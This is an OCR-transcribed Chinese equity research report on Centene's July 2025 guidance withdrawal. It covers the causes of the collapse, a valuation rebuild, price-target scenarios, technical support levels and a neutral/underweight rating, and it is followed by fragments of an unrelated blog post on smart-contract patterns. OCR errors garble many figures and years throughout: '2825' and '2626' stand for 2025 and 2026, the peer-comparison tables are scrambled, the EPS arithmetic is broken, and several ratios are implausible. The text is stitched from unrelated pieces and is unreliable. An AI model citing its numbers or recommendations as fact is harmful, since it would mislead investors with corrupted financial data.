论段价中枢为55.00美元。 技术展望:从长期技术图表分析,关键的支撑位位于约27美元和17美元区域2。然 而,必须强调的是,在基本面企稳的明确信号出现之前,任何技术支撑都可能是脱转的。 27美元水平代表了2015-2016年的长期盘整平台,是一个具有重要心理意义的潜在底 部。 最终建议:综合来看,本报告给予Centene 中性/减持(Neutral/Underweight)的 评级。尽管该股在历史估值指标上看异常便宜,但其前瞻性风险过高,不适合寻求稳定回报 的投资者。对于新投资者而言,目前并非介入的理想时机。Centene 已成为一个典型的“用 业绩证明自己(show-me)“的故事。在公司通过2825年第二、三季度财报证实其能够控 制Med1ca1d成本,并成功获得2026年的市场费率批准以重建可信的盈利基线之前,建 议投资者保持观望, 商业模式与竞争格局:政府医保领域的高风险投资标的

2.1 Centene 的核心身份

CenteneCorporation是一家财富5oθ强企业,其核心业务是作为美国政府资助医疗 保健计划的主要中介机构”。公司的使命是通过“本地化”的策略-—即利用地方品牌和团队-— 为保险不足和无保险的个人提供全面、高质量且具有成本效益的医疗服务。这一定位使其 成为美国医疗体系中服务于品势群体的关键参与者。 在2025年7月的前盘前,Centene 的市场地位十分显赫。它是全美健康保险市场 [Health Insurance Marketplace)的第一大运营商,总保费和服务收入高达约 1455亿美元,为全国超过2866万会员提供服务”。这一巨大的规模使其在政府医疗保健 领域拥有举足轻重的影响力。

2.2收入来源与业务分部

Centene的主要收入横式是基于“按人头付费(capitation)"的安排‘。在这种模式 下,公司从政府支付方(如州 Medicaid 机构或联邦医疗保险和医疗补助服务中心CMS) 收取固定的、按会员每月计算的费用(per-member-per-month fee)。作为交换, Centene负责管理和支付这些会员的医疗保健服务费用。该模式的核心激励在于成本控制: 如果Centene能够以低于预收保费的成本提供服务,公司就能保留差额作为利润“。 公司的收入主要来源于三大业务板块:

1.医疗补助计划(Hedicaid):这是Centene 的基石业务和显大的收入来源。公司

是美国显大的Medicaid管理式医疗组织(MCO),其业绩与各州的合同续签、报销 费率以及会员的健康状况(即疾病风除,acuity)密切相关。

2.商业保险(Commercial):该板块的核心是(平价医疗法案》(ACA)下的健康保

险市场(Marketplace)业务。作为该市场的全国领导者,Marketplace 近年来

一直是Centene 的关键增长引擎“。

3.联邦医疗保险(Medicare):Centene 在Medicare Advantage (MA)计划

和Medicare 处方药计划(PDP)中也占有重要地位,尽管规模小于前两大业务, 但仍是其业务组合的重要组成部分。 公司的增长战略历来依赖于内生性增长和战略性收购的双轮驱动,其中对WelLCare

2.3竞争定位与同业群体

Centene 在一个竞争激烈的行业中运营,其主要竞争对手包括UnitedHeaLth Group (UNH)、ELevance Health (ELV)、Hunana (HUM)、CVS Health (旗下拥有 Aetna) 以及 Molina Healthcare (MOH) 2。 在竞争格局中,Centene 的定位独具特色。虽然规模庭大,但与UNH 和 ELV 等高座多 元化的巨头相比,其业务集中度非常高。UNH拥有高利润的健康服务部门Optum,而ELV 也在商业保险领域拥有强大实力,这使得它们能够更好地抵御特定业务板块的周期性浪 动1从业务结构上看,Molina Healthcare (MOH)是与Centene 最相似的竞争对 手,两者都高度专注于政府项目,但Centene 的运营规模要大得多13。Humana 则是 Medicare 领域的强大对手1。客户和员工的感知数据显示,Centene在企业文化方面得 分尚可,但在产品质量和客户服务方面则落后于部分主要竞争对手。

2.4内在的风险特征

Centene的商业模式是一把双刃刘。一方面,对政府项目的专注使其能够进入一个规模应大 且具有结构性增长潜力的市场。另一方面,这种高度集中的业务模式使其极易受到监管变 化、报销费率压力和政策不确定性的影响。与业务更多元化的竞争对手相比,Centene 的股 价因此成为政府医疗政策的一个高贝塔系数(high-beta)的投资工具。2625年7月的 股价扇盘,正是这种内在结构性风险的最终体现。 值得注意的是,导致此次危机的风险因素并非不可预见。在公司向美国证券交易委员会 (SEC)提交的16-K年度报告中,管理层已经明确列出了这些潜在风险。这些警告并非法 律上的官样文章,而是对最终导致灾难发生的具体事件的预演。在2024年2月提交的 10-K文件中,公司明确指出的风除包括: “联邦或州法律法规的变化,包括..与ACA相关的法规”16 “我们设计和定价具有竞争力且/或精算合理的产品的能力,包括但不限于Medicaid 资格重审带来的任何影响”7。

  • “现们准确预测和有效管理医疗福利及其他运营费用和准备金的能力,包括医疗服务利

用率的波动”17 “政府支付方的要率削减、费率变更不足或其他支付减少或延退”16。

  • “现们与联邦或州政府合同的到期、暂停或终止”17。

这些前瞻性陈述清晰地勾勒出了公司的脆弱性。最终,公司未能“准确预测“医疗成本,也末 能“精算合理“地为产品定价,这直接导致了股东价值的巨大毁灭。这表明,市场可能在事前 严重低估了这些已披露风险的发生概本及其满在的破坏性。 崩盘剖析:解构2025年7月的业绩指引撒回事件

3.1崩盘前的基线:一派乐观景象(2025年4月)

要理解Centene股价崩盘的严重性,必须回顾其在短短两个月前向市场传递的乐观信号。 在2025年4月25日发布的第一季座财报中,公司描绘了一幅欣欣向荣的景象11。财 报数据显示,调整后稀释每胶收益( AdjustedD1lutedEPS)同比增长 28%,总收入增长17%,表现强劲。 最为关键的是,基于这一强劲开局,管理层在财报电活会议上采取了两个极其自信的举动: 首先,将2825年全年的保费和服务收入指引大幅上调了68亿美元:其次,重申了其调 整后EP5的指引底线,即“大于7.25美元”,这一系列操作向市场传遇了一个明确信 息:公司对全年的业务发展充满信心。正是这种公开的自信,使得随后的业绩反转显得尤为 突然和具有破坏性。

3.2晴天露雾:7月1日的指引撤回

2025 年7月1日,Centene发布公告,宣布撒回此前发布的所有2025年业绩指 引,包括GAAP和调整后EPS指引及其所有基础构成要素。这一消息如同一颗重磅炸 弹,引发了市场的恐慌性售。公告发布的当天,Centene的股价暴跌约 40%,市值蒸发 超过110亿美元,创下了自2017年初以来的最低收盘价2。这一事件的背后,是两大核 心业务同时爆发的危机。

3.3催化剂一:Marketplace风险调整的修败

Marketplace风险调整机制是ACA 的核心设计之一,旨在稳定保险市场。这是一个"零 和游戏”,其目的是在不同的保险公司之间转移资金,以平衡各自承保会员的健康风险。拥有 比市场平均水平更健康会员的保险公司,需要向拥有更重病会员的保险公司支付资金。这可 以防止保险公司通过只承保健康人群来“劣币驱逐良币”。要在这个机制中取得优势,保险公 司不仅要了解自身会员的疾病状况,还必须准确预测整个市场的平均疾病状况。 Centene 在此遗遇了清铁卢。根据公司公告,其聘请的独立精算公司Wakely 对覆盖了公 司72Marketplace会员的22个州的数据进行了初步分析,得出了两个毁灭性的结 论1:

1.市场整体增长低于预期:这影喻了风险池的规模和构成。

2.市场隐含的总体发病率远高于预期:WakeLy的数据显示,整个市场的会员健康状况

比Centene的模型预测的要差得多,而且这种差异是“显著且实质性不一致的”。 这一情报失误的直接财务后果是惊人的。Centene初步估计,仅这22个州的数据就将导 致其全年净风险调整收入预期减少约18亿美元,这直接对应着约2.75的调整后EPS 损失 更深层次的问题在于,这并非一次简单的财务模型错误,而是一次最高级别的战略情报失 误。作为全美最大的Marketplace运营商,Centene理应拥有最强大的效据和市场洞察 力。然而,事实证明,公司对其最重要增长市场的基本风险状况存在根本性的误判。这意味 着公司在2025年的定价和产品策略完全建立在一个错误的假设之上。这不仅影响2825 年的盈利,更让市场对其未来在该领域的竞争和定价能力产生了严量怀疑。 此外,公司还预警,剩余7个州的数据可能带来额外的负面影响,并已着手为2826年申 请更高的费率。这表明问题是结构性的,而非一次性的,其负面影响将延续到末来。

3.4催化剂二:Medicaid医疗成本的额升

与Marketplace 业务同时,Centene 的核心 Medicaid 业务也亮起了红灯。危机的 背景是全英范围内的Medicaid资格重审。在新冠疫情期间,各州暂停了对Medicaid 受益人资格的定期审查,导致参保人数大幅增加。自2023年春季开始,各州恢复了这一流 程,数百万(通常是相对健康的)受益人因不符合资格或程序性原因失去了Med1ca1d覆 盖 这一过程导致了“逆向选择(adverse selection)":留存在Medicaid计划中的会员 群体,其平均健康状况更差,医疗需求更高,从而推高了保险公司的赔付成本。Centene在 7月1日的公告中证实,公司正经历“医疗成本趋势的阶梯式上升(step-upin medical cost trend)" , 成本润升的具体领球包括:行为康(behavioralhealth)、家庭健康(home health)和高价药品(high-cost drugs)。这些问题在特定的地理区域,尤其是 纽约州和佛罗里达州,表现得尤为突出。在这些地区,问题因“将相关服务纳入承保范图,但 没有获得足够的费率或风险调整”而进一步加剧。这直接指向了公司在与州政府进行合同谈 判和费率设定方面的失败。 这一成本压力直接体现在公司的关键运营指标--医疗受益比率(HeaLth Benefits Ratio,HBR)上,该比率衡量的是医疗赔付支出占保费收入的百分比。公司明确表示,预 计2025 年第二季度的Medicaid HBR 将高于第一季度,这正式确认了医疗成本的恶化 趋势。 这两场看似独立的危机,其核心都指向了同一个根本性问题:逆向选择。无论是在 Medicaid 还是 MarketpLace,Centene 所面临的人群风险状况都比其精算模型预测的 要籍糕得多。这表明公司在建模和定价人口健康风险这一核心能力上存在系统性蜀点。值得 注意的是,公司在公告中特别提到了“独立精算公司WakeLy”,这暗示Centene的内部 团队可能未能发现问题的严重性,需要借助外部力量才揭示了真相。这对市场而言,是对其 内部控制和风险管理职能的又一次重击,严量削弱了投资者的信心。 损失评估:负面因素是否已完全被市场消化? 在Centene股价经历断式下跌后,一个核心问题摇在投资者面前:显坏的时期是否已经 过去?当前的股价是否已经完全反映了所有的负面因素?答案是否定的。尽管股价的跌幅巨 大,但市场尚未完全消化此次危机带来的三个层面的深远影响:严峻的蓝管现实、管理层信 誉的前爆以及对2626年盈利能力的根本性不确定性。

4.1新的监管现实:一场多线作战

感管此次危机的直接导火索是Marketplace 和Medicaid,但Centene 的 Medicare Advantage(MA)业务同样面临着一个充满挑战的宏跟环境,这使得该业务板 块难以成为稳定公司业绩的“压舱石”。 首先,CMS发布的 2025年MA最终费率公告对整个行业构成了压力。CMS最终确定 2825年MA计划的平均收入将仅增长3.721。许多行业参与者认为,这一增幅不足以 完全覆盖日益上涨的医疗成本和利用率。其次,CMS正在分三年逐步实施新的CMS-HCC 风险调整模型,该模型通过限制某些诊断代码的使用来降低支付,这对所有MA计划的盈利 能力构成了持续的逆风1。最后,政治上的不确定性也签置着市场。增强版的ACA补贴将 于2025年底到期,如果国会不采取行动,可能会对Marketplace的参保人数和市场稳 定性造成冲击” Centene 正面临一场艰难的多线作战。Marketplace业务因风验调整的误判而盈利能力 受损;Med1ca1d 业务因HBR魏升和州政府费率不足而面临压力:而MA业务又受困于 全行业的费率和监管逆风。与那些拥有高利润商业保险或健康服务部门的多元化竞争对手不 同,Centene的三大核心政府业务同时承受压力,这极大地放大了公司的风险。

4.2管理层信誉的剧場

此次事件对Centene 造成的显大损害,可能并非财务数字本身,而是管理层信的彻底崩 爆。将4月25日Q1财报电话会议上的自信满满(上调收入指引、重申盈利目标)与 7月1日的突然撤回并列来看,其反差是惊人的“。 这不仅仅是一次业绩“未达预期(niss)”,而是一次根本性的监替和风险管理失败。它向市 场表明,公司的最高管理层对其核心业务的风险状况缺乏基本的掌控力。这种信誉的丧失立 即反映在分析师的行动上。事件发生后,华尔街投行纷纷下调其评级和目标价。例如,瑞银 (UBS)将其评级从“买入“下调至“中性”,目标价从80美元大帽削减至45美元25。摩 根大通(J.P.Morgan)也将其评级下调至“中性”,目标价降至48美元13。这一致的 恶观情绪证明,市场对管理层的信任已降至冰点。

4.3福向比较:这是全行业的通病吗?

必须承认,Centene的竞争对手们也并非高枕无忧。整个管理式医疗行业都在努力应对 Medicaid资格重审带来的会员结构变化和高于预期的MA服务利用率。 然而,Centene 的问题显然更为严重和独特。其对 Medicaid 和 Marketplace 亚务 的极度依赖,使其成为这些特定逆风的最大受害者。相比之下,UnitedHealth Group 和 ElevanceHealth 等竞争对手,虽然股价同样承压,但并未经历同等级别的离盘,这反映 了它们更加多元化和具韧性的商业模式所带来的缓冲作用1。 因此,结论是,市场尚未完全消化所有负面因素。股价的暴跌反映了2025年已知的财务损 失,但并未完全反映一个更重要的变量:对末来的极度不确定性。市场的核心问题已经 从“Centene在2625年会肆多少钱?“转变为“我们还能相信Centene炭布的任何关 于2026年的数字吗?”。在管理层能够重建可信的盈利预测模型并证明其有能力应对危机 之前,市场将被迫对Centene的股票施加一个显著的“不确定性溢价”或”信誉折扣”。这 意味着,即便在暴跌之后,脱价也末必已经触底。 估值重校:构建新的基本面底线 Centene的估值体系已经与其历史背景脱钩。该股票已滨变为一个“特殊情况(spec1al situation)”,传统的基于过往盈利的估值指标具有高度的误导性。整个投资论证的核心, 完全取决于市场对公司2026年盈利能否复苏的信心,而目前这种信心极其脆费。

5.1历史财务表现分析

为了解此次危机对公司财务状况的冲击有多大,我们首先需要回原其在危机前的表现。下表 汇总了Centene从2021年到 2624年的关键财务指标,以建立一个业绩基线。 指标 2022 2024 $154.8 总取人($B) $126.8 8*9215 $144.5 $163.1 $1.35 $1.21 $2.73 $3.31 净利润($B) $6.31 稀释舞股收益(DilutedEPS) $2.28 $2.07 $4.95 医疗受益比率(HBR/HLR)(%) N/A

87.7%

%*88 7元 数据案源: 这张表格清晰地展示了公司在2025年盘前的增长轨迹和利润率状况。值得注意的是,尽 管收入持续增长,但HBR在2024年有所上升,这可能预示着成本压力的初步显现。

5.2 2025 年调整后每股收益(Adjusted EPS)修正横型

理在,我们来构建一个修正后的2825年盈利模型,以量化危机的全面影响。

  • 第一步:起点。我们从公司最后一次官方指引开始:调整后EPS底线大于7.25

美元11

  • 第二步:Marketplace 的已知冲击。直接减去公司披露的、来自22个州的风险

调整问题所导致的EPS损失:2.75美元1。修正后的基数为

4.56美元。

  • 第三步:估算未知冲击。接下来需要对剩余7个Marketplace州的影响以及

MedicaidHBR上升的影响进行保守估计。假设剩余州授比例产生类似影响,井且综 合 HBR 因Med1ca1d 成本压力再上升56-180个基点,这可能导致额外的 EPS 损失。例如,审慎估计这部分额外冲击为0.65美元。

  • 第四步:得出新预测。综合以上步骤,我们得出修正后的2025年调整后EPS预

测值:7.252.75(已知)6.65(估计)=$3.85。这一致字与瑞银(UBS)将其 2025年预测下调至3.25美元的悲观预期相近25,凸显了盈利前景的急剧恶化。

5.3同业与历史估值分析

Centene当前的估值与同业相比显得极不寻常。 公司(代码) 市值 HLI 远期 P/S 股本回报率 净利润 ($B) P/E Rati (ROE) 率 (%) (%) $15.

  • 8.1

2.25%

Centene (CNC)

12.5%

5x 7x 6x 1 UnitedHealth (UNH) $26 N/A ~8.6

28.2%

8.76%

2.0

(ROA)

1.3

5x ~$77. N/A ~8.4

17.7%

6.42

Elevance Health (ELV)

1.8

(ROA) 3x X

  • $27.

~14. ~8.2

1.42%

(HnH)euewng 2x 5x

5.8

Holina Healthcare (HO

  • 1

8.3

26.7%

6.73%

N/ A xg (ROA) H} 数据票源:13。数据藏至202 5年7月中何,可能存在小 幅流动。 此表揭示了一个核心矛盾:在追踪市盈率(TTMP/E)方面,Centene的4.5倍远低于 同业12倍以上的水平,看似是价值洼地4。然而,这个 TTMP/E中的“E”(盈利)是基于现已证明不可持续的历史数据。真正的估值饼论焦点在于 对未来的预期。 此外,市销率(P/SRatio)在此情境下变得尤为重要。Centene 约0.1倍的 P/S 比 率,远低于UNH的9.65倍和ELV的6.43倍,这表明市场对其庞大的收入基础能够 转化为可持续利润的能力持极度怀疑态度。市场正在用价格投票,认为Centene 的每一 美元收入,其质量和盈利能力远低于其竞争对手。

5.4理论股价目标测算

由于2825年已成为一个“失落之年”,任何有意义的估值都必须着限于2026年的潜在复 苏。

  • 第一步:确定合理的远期市盈率。签于Centene 面临的巨大风险和信誉损失,其

应享有较同业显著的估值折扣。一个10-12倍的远期市盈率(ForwardP/E)区间 是合理的。这低于UNH和ELV等更稳定同业的12-16倍,但承认了2026年 盈利有一定程度复苏的可能性。瑞银在其降级报告中也使用了10倍的市盈率25。

  • 第二步:选择远期每股收益。市场对2026年的EP5预测分歧很大,范围从

4.50美元(UBS)到6.66美元(StockAnalysis)。我们采取一个相对保

守的预测,即

5.00美元,该预测假设公司在2026年的费率调整中取得部分成功,但无法完全抵

消成本压力。

  • 第三步:计算股价目标。

0基本情景:11倍市盈率×5.00美元2826EEPS=55.00美元。

  • 第四步:情景分析。

0照市情景(费率调整失败):9倍市盈率×4.00美元EPS=36.06美元。 。牛市情景(成功重新定价和成本控制):13倍市盈率×6.80美元EPS =78.00美元。 这个估值框架表明,尽管当前股价看似低廉,但其上行空间完全依赖于管理层在未来18个 月内的执行力,而这正是市场目前最肤乏信心的部分。 技术图表分析:识别关键支撑与阻力位 技术分析证实了基本面的扇溃。股价走势的剧烈程度和成交量的放大,表明市场对Centene 的看法发生了范式转移。这并非一次普通的回调,而是一次彻底的价值重估。

6.1宏观趋势:已确认的熊市

从月线图上看,Centene 的股价自 2022年8月创下历史新高后,便一直处于稳步的下 降通道中2。2025年7月的暴跌则是一次灾难性的加速,伴随着巨大的成交量,这通常意 味着机构投资者的恐慌性抛告和长期持有者的信心瓦解2。 至关重要的是,股价轻松跌破了所有关键的移动平均线,包括58天、108天和200天 移动平均线,这些均线目前都已掉头向下,成为未来的阻力位“。最具决定性的信号是,股 价击穿了被视为牛熊分界线的长期 208个月移动平均线(约在42美元附近),这是一个极其负面的长期技术信号2。

6.2识别潜在的支撑区域

在股价如”飞刀下坠“的情景中,任何支撑位都只是概率上的参考,而非绝对的保证。

  • 主要支撑区:约27美元。这一水平是本报告认为的显重要的长期支撑。它对应于

是一个具有强大价格记忆的区域,当时大量的股票在此换手,形成了一个坚实的底部。 如果股价跌至此区域,可能会吸引寻求深度价值的长期买盘。

  • 次要(灾难级)支撑区:约17美元。这一水平对应于2013年16月至2014

年4月期间形成的一个上升三角形的突破点2。跌至此价位将意味着过去十年的涨幅 几乎完全回吐,这只可能在市场完全不相信2026年能有任何复苏的情景下发生。

  • 短期支撑:一些技术指标显示的短期支撑位,如31.06美元和36.68美元,在

如此剧烈的下跌面前显得微不足道,很可能被轻易击穿“"7。

6.3绘制上行阻力图

对于任何潜在的股价反弹,都需要关注以下几个关键的阻力位:

  • 主要阻力区:约42美元。这是反弹的第一个量大障碍。该区域是多重阻力的汇合

点:它是2015年7月的高点、2019年9月的低点,并且与目前正在下行的 268个月移动平均线非常接近2。

  • 次要阻力区:约55-57美元。该区域是此次暴跌的破位点,也是目前下行的50

天移动平均线所在的位置,代表了近期被套卖盘的巨大“价格记亿”45。

  • 长期主要阻力:约74美元。这条线是连接自2818年以来多个重要高点和低点的

长期下降趋势线”。只有当股价能够决定性地突破并站稳在这一水平之上,才能宣告长 期熊市的真正结束。

6.4动量与波动性指标

相对强器指数(RSI)在日线、周线和月线图上均已进入深度超卖区域(低于38)”.通常 、周线和月线图上均已进入深度超卖区域(低于38).通常 相对强弱指数 (RSI)在日线、 情况下,这可能预示誉短期内会出现技术性反弹或“回抽”。然而,必须强调的是,在强劲的 照市趋势中,股价可以在“超卖“区域停留很长时间。超卖本身并不构成买入信号,它仅仅表 明下跌的速度过快。 综合技术面来看,最可能出现的近期情景是:股价在深度超卖后出现技术性反弹,但这种反 弹很可能在关键阻力位(尤其是42美元)遭遇强大卖压而失败,之后股价可能进入一个低 位震蕊或继续探底的阶段,直到基本面出现实质性的好转信号,才能吸引足够的可持续买盘 来构建新的底部。 结论与最终建议 综合分析 Centene Corporation 的基本面已经发生了不可逆转的改变。公司正面临其两大核心业 务的盈利能力危机,以及一场更为严重的管理层信誉危机。股价的暴跌虽然剧烈,但它所反 映的不仅仅是2025年的盈利损失,更是对公司末来多年盈利能力和管理执行力的深度不信 任。 负面因素是否已完全消化? 本报告的结论是,尚未完全消化。当前股价虽然反映了大部分已知的坏消息,但并末充分定 价以下风:1)2026年盈利复苏路径的高度不确定性,包括费率谈判失败的风险:2)管 理层信誉重建所需的时间成本和估值折价的持续性。市场对Centene的“信誉折扣"是真实 存在的,并且在可预见的未来可能会一直持续。 风险回报评估 在当前节点,对于寻求稳健回报的长期投资者而言,Centene 的风险回报状况井不具吸引 力。尽管股价反弹至一个“正常化”估值水平(如回到78美元以上)的潜在空间巨大,但通 往这一目标的道路充满了执行风除。如果即将发布的2625 年第二、三季度财报揭示出比预 期更差的成本超势,股价进一步下探至27美元主要支撑位的可能性是显著的。 需要监控的关键催化剂 建议投资者密切关注以下可能改变投资论点的关键催化剂:

  • 正面催化剂:

。2025年Q2/Q3财报:公司能否提供具体、可信的数据来证明Medicaid成本 趋势已经稳定,并提出一个清晰、可行的复苏计划。 。2026年费率审批:各州监管机构是否批准了足以重盖更高成本基础的2826年 Marketplace 费率。 。管理层变动:任何旨在重建市场信心的重大管理层或董事会调整。

  • 负面催化剂:

。风险调整的进一步恶化:对剩余7个州或最终结算据的分析显示,风险调整的 负面影响超过18亿美元的初步估计。 。费率谈判失败:关键州份拒绝批准必要的费率上调。 oMedicaid成本持续失控:成本压力延续至2025 年下半年及以后,表明问题比 预期更为根深蒂固, Works cited

1.CENTENE CORPORATION WITHDRAWS 2025 GUIDANCE-Jul1

accessed July 19, 2025, https://1nvestors.centene.com/2025- 07-01-CENTENE-CORPORATION-WITHDRAW5-2025-GUIDANCE 2. Price Levels, passasse July 19, 2025, percent-to-8-year-low-watch-these-key-price-levels-11765929

3.NYSE:CNC

Investor Relations Centene Corporation, accessed July 19, https://investors.centene.con/overview? 2025, hstc=212533451. 84866d897988bab6120782a435a6a92f.17461440009

10.1746144080911.1746144909912.1& hssc=212533451.1.174614400

Centene Corp

4. CNC Investor Relations

Alpha Spread, accessed nc 19, 2025, https://www. alphaspread. com/security/nyse/cnc/1nvestor- relat1ons About July 19, Centene, passasse 5. 2025, https://1nvestors.centene.com/about-centene?1ten=163 Centene Corporation, accessed

6.$59.15Investor Relations

https://1nvestors.centene.con/overv1ew? July 19, hstc=212533451.84066d897988bab6120782a435a6a92f.17458848009

19.1745884800920.1745884800921.16h55C-212533451.1.174588480

99225 hsfp=1721781979 Centene Corporation, accessed July 19, Investor Relations 7. 2025, https://1nvestors.centene.com/

8. CENTENE CORPORATION REPORTS 2024 RESULTS

  • Feb 4,2025,

accessed July 19, 2025, https://investors.centene.com/2025- 02-04-CENTENE-CORPORATION-REPDRIS-2024-RESULTS

9. Growth in ACA plans keeps Medicaid giant Centene from worst

of redeterminations 1mpact, accessed July 19, https://www.healthcaredive.con/news/centene-medicaid- 2025, redeterminations-aca-growth-q2-2024/722487/ Centene looks beyond Medicaid redeterminations Healthcare Dive, accessed July 19, https://www.healthcaredive.com/news/centene-medica1d- 2025, redeterminations-q1-2024/714397/ CENTENE CORPORATION REPORTS FIRST QUARTER 2025 accessed 11. July19, https://1nvestors.centene.com/2025-04-25- 2025, CENTENE -CORPORATION-REPORT5-FIRST-QUARTER-2025-RESULTS Centene Corporation Competitors Comparably, accessed July 12. 19, https://waw.comparably.com/conpanies/centene- 2625, corporation/competitors

13. Centene (CNC) Competitors and Alternatives 2825

  • MarketBeat,

July accessed 19, https://www.marketbeat.com/stocks/NYSE/CNC/competitors- 2025, SWOT Analysis, and

14.Centene

Corporation: 2824 PitchGrade, July 19, Competitors 2025, https://pitchgrade.com/companies/centene-corporation Seeking CNC Centene Corporation Stock Price & Overview 15. Alpha, accessed July 19, 2025, https://seekingalpha.com/symbol/CNc/peers/comparison

16. Form 18-K for Centene Corp filed 02/18/2025

  • PR Newswire

accessed July 19, . - · 2025,https://filecache.investorroom.com/mr5ir_centene/721/CN Cg20g28Centene420Corporat1onk29g20%20%2810-K%29%202025 -02-

18.pdf_.pdf

Form 10-K for Centene Corp filed 82/2e/2624, accessed July 17 . 19. 2025,https://filecache.investorroon.com/mr5ir_centene/453/CN Cg20%28Lentene420Corporat1on%29e20%20%2810-K%29%202024-02- 1pd.-1pd*87 Centene Corporation (CNC) Investors See Over $11 Billion Of 18. Shareholder Value W1ped Out In 1 Day Amid Independent Actuary Data, Withdrawn 2025 Guidance- Hagens Berman- PR Newswire, accessedJuly19,2025, https: //www. prnewswire. com/news- releases/centene-corporation-cnc-investors-see-over-11- billion-of--shareholder-value-wiped-out-in-1-day-amid- Independent-8ctuary-data-withdrawn-2025-guidance-hagens- berman-302498579.html

19. Selected stock price target news of the day - July 2nd. 2025

AnaChart, accessed July 19, 2025, https://anachart.com/market-update/july-2nd-2025/ 20. Five Big 2024, 19, Q1 passasoe in https://ccf. georgetown.edu/2624/05/21/med1ca1d-managed- 2025, care-results-of-the-phe-unwinding-for-the-big-five-in-ql- 20247 CHS Releases Medicare Advantage Payment Rates for 2025 21. AHCA/NCAL, passasse July 19, https ://www.ahcancal .org/News -and- 2025, Communications/Blog/Pages/CMS-Releases-Medicare-Advantage- Payment-Rates-for-2025.aspx

22. CHS Releases 2025 Medicare

Advantage Rate Announcement, https://www. acr .org/News -and- accessed July 19, 2025, Publ1cat1ons/CMS-Releases-2025-Medicare-Advantage-Rate- Announcement 2025 Medicare Advantage and Part D Rate Announcement - CMS, 23. 2025,https://www.cms.gov/newsroom/fact- accessed 2025 sheets/2025-medicare-advantage-and-part-d-rate-announcement in2025 Centeneraisesoutlookforrevenue and 24. costs- Healthcare accessed July 19, Dive, 2025, https://www.healthcaredive.com/news/centene-raises- 2025-revenue-medical-cost-guidance-q1/746349/ CentenestockdowngradedbyUBSonwithdrawn and 25. guidance July earnings 19, concerns, '6 accessed 2025, https://www.investing.com/news/analyst-ratings/centene- stock-downgraded-by-ubs-on-withdrawn-guidance-and-earnings- concerns-93CH-4120503 Centene Downplays Medicare MLR Miss, Reports ACA Marketplace 26. accessed Growth AIS 19, Health, July https://aishealth.mmitnetwork.com/blogs/health-plan- 2025, weekly/centene-downplays-medicare-mlr-miss-reports-aca- marketplace-growth Centene Revenue 2010-2025 | CNC -Macrotrends, accessed July 27. 19, 2025, https://www.macrotrends.net/stocks/charts/cNc/centene/r evenue Centene 2010-2025 EPS Earnings per CNC 28. Share July accessed Macrotrends, 19, 2025, https://www.macrotrends.net/stocks/charts/cNc/centene/e ps-earnings-per-share-diluted CENTENE CORPORATIONREPORTS 2023RESULTS

  • Feb6,]

2024, 29. accessed July 19,2025, https://investors.centene.com/2024- 02-06-CENTENE-C0RP0RATI0N-REP0RTS-2023-RESULTS

30.Centene posts $3.3B profit in 2024 - Becker's Payer Issues,

accessed July 19, 2025, https://www.beckerspayer.com/payer/centene-posts-3-3b- profit-in-20247

  • Companies Market Cap,

31.UnitedHealth(UNH)-P/Eratio

19, July accessed 2025, https://companiesmarketcap.com/united-health/pe-ratio/

32. UNH

Group Stock Price Stock UnitedHealth NewS Morningstar, accessed July 19, 2025,https://www.morningstar.com/stocks/xnys/unh/quote

33.UnitedHealth Group PE Ratio Insights - YCharts, accessed July

19,2025,https://ycharts.com/companies/UNH/pe_ratio

34.ELV

HealthPE ratio, Elevance and historical current July FullRatio, 19, analysis accessed 2025, https://fullratio.com/stocks/nyse-elv/pe-ratio YCharts, accessed July

35.Elevance

HealthPE RatioAnalysis- 19, 2025, https://ycharts.com/companies/ELV/pe_ratio Stock Analysis,

36.Elevance

Health(ELV)FinancialRatios July accessed 19, 2025, https://stockanalysis.com/stocks/elv/financials/ratios/

37.Humana

(HUM) P/E ratio- Companies Market Cap,accessed July 19, 2025, https://companiesmarketcap.com/humana/pe- ratio/ Stock Analysis,

38.Humana

Statistics Valuation (HUM) & July accessed 19, 2025,https://stockanalysis.com/stocks/hum/statistics/

39.MOH

current and historical MolinaHealthcare PE ratio, July accessed 19, analysis FullRatio, 2025, https://fullratio.com/stocks/nyse-moh/pe-ratio

40.Molina Healthcare PE Ratio Analysis - YCharts, accessed July

19,2025,https://ycharts.com/companies/M0H/pe_ratio

41.Molina Healthcare (MoH) Financial Ratios

Stock Analysis, July accessed 19, 2025, https://stockanalysis.com/stocks/moh/financials/ratios/ Statistics

42.Centene

(CNC) Valuation Stock Analysis, July accessed 19, 2025, https://stockanalysis.com/stocks/cnc/statistics/ dJuly Health PS Ratio Analysis- YCharts,accessed

43.Elevance

https://ycharts.com/companies/ELV/ps_ratio 19,2025,

44.Centene

(CNC) Analyst Targets, Stock Forecast& Price accessed July 19, 2025, https://stockanalysis.com/stocks/cnc/forecast/ CORP (CNC) Stock Technical Analysis - ChartMill.com,

45. CENTENE

accessed July 19, 2025, https://www.chartmill.com/stock/quote/cNc/technical- analysis CNC Technical Analysis for Centene Corp Stock - Barchart.com,

46.(

accessed July 19, 2025, https://www.barchart.com/stocks/quotes/cNc/technical- analysis Corp Trader's Centene CNC Cheat Sheet for Stock 47. Barchart.com, July 19, accessed 2025, https://www.barchart.com/stocks/quotes/CNc/cheat-sheet

  • US Stocks

Investtech,

48.Centene

(CNC)

  • TechnicalAnalysis

July accessed 19, https://www.investtech.com/main/market.php? 2025, CompanyID=10601197 volumeforCentenestockincreasedfortwo

49.CNCStockThe

consecutive days,resulting in a record-breaking daily growth of252% of the 65-Day VolumeMovingAverage-Tickeron, July 19, accessed 2025, https://tickeron.com/news/69330666- the-volume-for-centene-stock-increased-for-two-consecutive- days-resulting-in-a-record-breaking-daily-growth-of-252-of-

原始排版图

Centene Corporation (康西哥, CNC) 崩盘后的估值重估与未来展望:微信公众号导出原始排版图

智能合約開發核心模式:從查詢到日誌的五種交互實踐

· 閱讀時間約 9 分鐘
w0x7ce
MySelf

发布于 2025-07-17 00:08:37(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 5270 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

original wex7ce EI V1ajero 2025年7月17日 00:88 日本 對於智能合的開發者而言,建合約是第一步。真正的術與工程在於設計 其交互模式一合約如何誓愿請求、如何記錄數據、如何保護自身。一個優秀的設 計能钩在Gas成本、键上透明度與系統安全性之間取得精妙的平衡,而構建 出健壮、高效且值得信赖的去中心化愿用。 本指南將通语五個核心的實模式,引遵你親手提作深入理解微簡单的数據請取到安全的日記 鳞,每種模式的设計理念、速用场景及其深速影容。

實线军情:

  • RemixIDE:你的線上智能合的陶猪璟填。

